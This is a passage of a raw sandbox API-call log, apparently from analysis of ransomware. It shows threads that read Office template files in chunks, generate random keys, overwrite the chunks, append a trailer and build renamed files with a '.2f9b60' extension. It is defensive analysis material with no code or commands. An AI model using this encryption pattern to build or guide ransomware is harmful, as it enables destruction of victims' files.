SourceString="7b094a54161c3db20751ad83a26446804032a7918c1d1898629e8cd136e07d9a7c9a2a18b25754ce96cf9dec28ccd61a62fc09bd3a63", AllocateDestinationString=1 | out: DestinationString="7b094a54161c3db20751ad83a26446804032a7918c1d1898629e8cd136e07d9a7c9a2a18b25754ce96cf9dec28ccd61a62fc09bd3a63") returned 0x0 [0203.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb4d60 [0203.729] wcscat (in: _Dest=0x431312d0, _Source="7b094a54161c3db20751ad83a26" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7b094a54161c3db20751ad83a26") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7b094a54161c3db20751ad83a26" [0203.730] wcscat (in: _Dest=0x431312d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7b094a54161c3db20751ad83a26.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7b094a54161c3db20751ad83a26.2f9b60" [0203.730] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7b094a54161c3db20751ad83a26.2f9b60", NtPathName=0x3627fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\7b094a54161c3db20751ad83a26.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x4310bd10 Thread: id = 1146 os_tid = 0x5f4 [0113.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx")) returned 0x20 [0113.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx", dwFileAttributes=0x20) returned 1 [0113.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe40 [0113.122] GetFileSizeEx (in: hFile=0xe40, lpFileSize=0x3609fc80 | out: lpFileSize=0x3609fc80*=155682) returned 1 [0113.122] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x2601e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.122] ReadFile (in: hFile=0xe40, lpBuffer=0x3609fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3609fc48, lpOverlapped=0x0 | out: lpBuffer=0x3609fc00*, lpNumberOfBytesRead=0x3609fc48*=0x4, lpOverlapped=0x0) returned 1 [0113.153] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0113.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d70 [0113.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ac0 [0113.153] NtQuerySystemTime (in: CurrentTime=0x3609fb40 | out: CurrentTime=0x3609fb40*=132462177186142000) returned 0x0 [0113.153] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x3dda80d1 [0113.153] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x3454291b [0113.153] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x6caa8864 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0xe903afa [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x4e4ee33 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x207cfd19 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x5c5e4ef1 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x11a110d7 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x68773879 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x60bf31f1 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0xcf72377 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x5f80fd38 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x48ee31c6 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x2be71ba6 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x48533467 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x35c6f21d [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x7a9ac98d [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x13f521b3 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x5d632bd2 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x2533f9ab [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x77c7b700 [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x32229bbd [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x691f194b [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x61601efb [0113.154] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x54a60dd [0113.155] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0xdeea6b3 [0113.155] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x4d77034c [0113.155] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x57d42cc5 [0113.155] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x36000502 [0113.155] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x2f357f01 [0113.155] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x6e8aa888 [0113.155] RtlRandomEx (in: Seed=0x3609fb30 | out: Seed=0x3609fb30) returned 0x1b3a17b9 [0113.170] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.170] ReadFile (in: hFile=0xe40, lpBuffer=0x41dc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3609fba0, lpOverlapped=0x0 | out: lpBuffer=0x41dc4990*, lpNumberOfBytesRead=0x3609fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0113.206] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0113.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868a40 [0113.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0113.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261cd0) returned 1 [0113.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d5b4e0 [0113.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261cd0 [0113.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f50 [0113.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f50) returned 1 [0113.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0113.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0113.208] WriteFile (in: hFile=0xe40, lpBuffer=0x41d5b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3609fba0, lpOverlapped=0x0 | out: lpBuffer=0x41d5b4e0*, lpNumberOfBytesWritten=0x3609fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0159.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d5b4e0) returned 1 [0159.664] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.664] ReadFile (in: hFile=0xe40, lpBuffer=0x41dc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3609fba0, lpOverlapped=0x0 | out: lpBuffer=0x41dc4990*, lpNumberOfBytesRead=0x3609fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.000] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x16800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059650 [0161.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503710 [0161.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2ea0 [0161.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2ea0) returned 1 [0161.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421289a0 [0161.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2ea0 [0161.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2ed0 [0161.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2ed0) returned 1 [0161.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503710) returned 1 [0161.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059650) returned 1 [0161.002] WriteFile (hFile=0xe40, lpBuffer=0x421289a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3609fba0, lpOverlapped=0x0) [0187.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421289a0) returned 1 [0187.176] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x22422, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.176] ReadFile (in: hFile=0xe40, lpBuffer=0x41dc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3609fba0, lpOverlapped=0x0 | out: lpBuffer=0x41dc4990*, lpNumberOfBytesRead=0x3609fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.700] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x22422, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431391c0 [0190.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431391c0) returned 1 [0190.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42dd2110 [0190.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431391c0 [0190.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431391f0 [0190.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431391f0) returned 1 [0190.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.703] WriteFile (in: hFile=0xe40, lpBuffer=0x42dd2110*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3609fba0, lpOverlapped=0x0 | out: lpBuffer=0x42dd2110*, lpNumberOfBytesWritten=0x3609fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dd2110) returned 1 [0205.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319fad0 [0205.363] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.363] WriteFile (in: hFile=0xe40, lpBuffer=0x431f5e80*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x3609fc50, lpOverlapped=0x0 | out: lpBuffer=0x431f5e80*, lpNumberOfBytesWritten=0x3609fc50*=0x154, lpOverlapped=0x0) returned 1 [0208.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0208.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e7d0) returned 1 [0208.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x2050e7d0 [0208.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7a0 [0208.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0208.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ded0) returned 1 [0208.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce616f0 [0208.834] sprintf (in: _Dest=0x1ce616f0, _Format="%c%c" | out: _Dest="7d") returned 2 [0208.834] sprintf (in: _Dest=0x1ce616f2, _Format="%c%c" | out: _Dest="b6") returned 2 [0208.834] sprintf (in: _Dest=0x1ce616f4, _Format="%c%c" | out: _Dest="e1") returned 2 [0208.834] sprintf (in: _Dest=0x1ce616f6, _Format="%c%c" | out: _Dest="9d") returned 2 [0208.834] sprintf (in: _Dest=0x1ce616f8, _Format="%c%c" | out: _Dest="eb") returned 2 [0208.834] sprintf (in: _Dest=0x1ce616fa, _Format="%c%c" | out: _Dest="fd") returned 2 [0208.834] sprintf (in: _Dest=0x1ce616fc, _Format="%c%c" | out: _Dest="ea") returned 2 [0208.834] sprintf (in: _Dest=0x1ce616fe, _Format="%c%c" | out: _Dest="5c") returned 2 [0208.834] sprintf (in: _Dest=0x1ce61700, _Format="%c%c" | out: _Dest="fe") returned 2 [0208.834] sprintf (in: _Dest=0x1ce61702, _Format="%c%c" | out: _Dest="3d") returned 2 [0208.834] sprintf (in: _Dest=0x1ce61704, _Format="%c%c" | out: _Dest="31") returned 2 [0208.834] sprintf (in: _Dest=0x1ce61706, _Format="%c%c" | out: _Dest="5b") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61708, _Format="%c%c" | out: _Dest="f6") returned 2 [0208.835] sprintf (in: _Dest=0x1ce6170a, _Format="%c%c" | out: _Dest="bf") returned 2 [0208.835] sprintf (in: _Dest=0x1ce6170c, _Format="%c%c" | out: _Dest="40") returned 2 [0208.835] sprintf (in: _Dest=0x1ce6170e, _Format="%c%c" | out: _Dest="f4") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61710, _Format="%c%c" | out: _Dest="86") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61712, _Format="%c%c" | out: _Dest="ac") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61714, _Format="%c%c" | out: _Dest="9f") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61716, _Format="%c%c" | out: _Dest="f0") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61718, _Format="%c%c" | out: _Dest="64") returned 2 [0208.835] sprintf (in: _Dest=0x1ce6171a, _Format="%c%c" | out: _Dest="3f") returned 2 [0208.835] sprintf (in: _Dest=0x1ce6171c, _Format="%c%c" | out: _Dest="dd") returned 2 [0208.835] sprintf (in: _Dest=0x1ce6171e, _Format="%c%c" | out: _Dest="6d") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61720, _Format="%c%c" | out: _Dest="0f") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61722, _Format="%c%c" | out: _Dest="24") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61724, _Format="%c%c" | out: _Dest="f3") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61726, _Format="%c%c" | out: _Dest="6d") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61728, _Format="%c%c" | out: _Dest="ed") returned 2 [0208.835] sprintf (in: _Dest=0x1ce6172a, _Format="%c%c" | out: _Dest="3d") returned 2 [0208.835] sprintf (in: _Dest=0x1ce6172c, _Format="%c%c" | out: _Dest="91") returned 2 [0208.835] sprintf (in: _Dest=0x1ce6172e, _Format="%c%c" | out: _Dest="33") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61730, _Format="%c%c" | out: _Dest="c2") returned 2 [0208.835] sprintf (in: _Dest=0x1ce61732, _Format="%c%c" | out: _Dest="ef") returned 2 [0208.835] RtlInitAnsiString (in: DestinationString=0x3609fcc8, SourceString="7db6e19debfdea5cfe3d315bf6bf40f486ac9ff0643fdd6d0f24f36ded3d9133c2ef" | out: DestinationString="7db6e19debfdea5cfe3d315bf6bf40f486ac9ff0643fdd6d0f24f36ded3d9133c2ef") [0208.835] RtlAnsiStringToUnicodeString (in: DestinationString=0x3609fc98, SourceString="7db6e19debfdea5cfe3d315bf6bf40f486ac9ff0643fdd6d0f24f36ded3d9133c2ef", AllocateDestinationString=1 | out: DestinationString="7db6e19debfdea5cfe3d315bf6bf40f486ac9ff0643fdd6d0f24f36ded3d9133c2ef") returned 0x0 [0208.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43183c60 [0208.836] wcscat (in: _Dest=0x43183bc0, _Source="7db6e19debfdea5cf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7db6e19debfdea5cf") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7db6e19debfdea5cf" [0208.836] wcscat (in: _Dest=0x43183bc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7db6e19debfdea5cf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7db6e19debfdea5cf.2f9b60" [0208.836] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\7db6e19debfdea5cf.2f9b60", NtPathName=0x3609fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\7db6e19debfdea5cf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43116960 Thread: id = 1147 os_tid = 0xc08 [0113.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx")) returned 0x20 [0113.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx", dwFileAttributes=0x20) returned 1 [0113.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equitymergefax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1554 [0113.127] GetFileSizeEx (in: hFile=0x1554, lpFileSize=0x363af760 | out: lpFileSize=0x363af760*=83386) returned 1 [0113.127] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x145b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.127] ReadFile (in: hFile=0x1554, lpBuffer=0x363af6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x363af728, lpOverlapped=0x0 | out: lpBuffer=0x363af6e0*, lpNumberOfBytesRead=0x363af728*=0x4, lpOverlapped=0x0) returned 1 [0113.171] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0113.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ac0 [0113.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261dc0 [0113.171] NtQuerySystemTime (in: CurrentTime=0x363af620 | out: CurrentTime=0x363af620*=132462177186298000) returned 0x0 [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x62b812f0 [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x21c47daa [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x65c98bb8 [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x7c374f03 [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x73cd1fae [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x2dc27d13 [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x423eaaba [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0xbe730b7 [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x15627f85 [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x3b894553 [0113.171] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x3cfa60d3 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x42acd0a3 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x13f5e594 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x6f861fa6 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x5c3d838b [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x2c4efb2a [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x125880c2 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x27560c27 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x416ffa7d [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x10a96886 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x39348d1e [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x31837ab0 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x5edc30cb [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x19eef0b5 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x2d5a1939 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x39304a1f [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x40bc8ee2 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x50591fe5 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x77eff1d4 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x3802f9b2 [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x7f5068ab [0113.172] RtlRandomEx (in: Seed=0x363af610 | out: Seed=0x363af610) returned 0x497705d [0113.182] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.182] ReadFile (in: hFile=0x1554, lpBuffer=0x41dc85a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x363af680, lpOverlapped=0x0 | out: lpBuffer=0x41dc85a0*, lpNumberOfBytesRead=0x363af680*=0x3c00, lpOverlapped=0x0) returned 1 [0113.209] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0113.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868a40 [0113.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f50 [0113.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f50) returned 1 [0113.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d5f0f0 [0113.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f50 [0113.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260f80 [0113.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260f80) returned 1 [0113.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0113.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0113.211] WriteFile (in: hFile=0x1554, lpBuffer=0x41d5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x363af680, lpOverlapped=0x0 | out: lpBuffer=0x41d5f0f0*, lpNumberOfBytesWritten=0x363af680*=0x3c00, lpOverlapped=0x0) returned 1 [0147.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d5f0f0) returned 1 [0147.896] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.897] ReadFile (in: hFile=0x1554, lpBuffer=0x41dc85a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x363af680, lpOverlapped=0x0 | out: lpBuffer=0x41dc85a0*, lpNumberOfBytesRead=0x363af680*=0x3c00, lpOverlapped=0x0) returned 1 [0147.980] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8670 [0147.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8670) returned 1 [0147.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42371d40 [0147.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8670 [0147.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a50 [0147.981] RtlFreeHeap 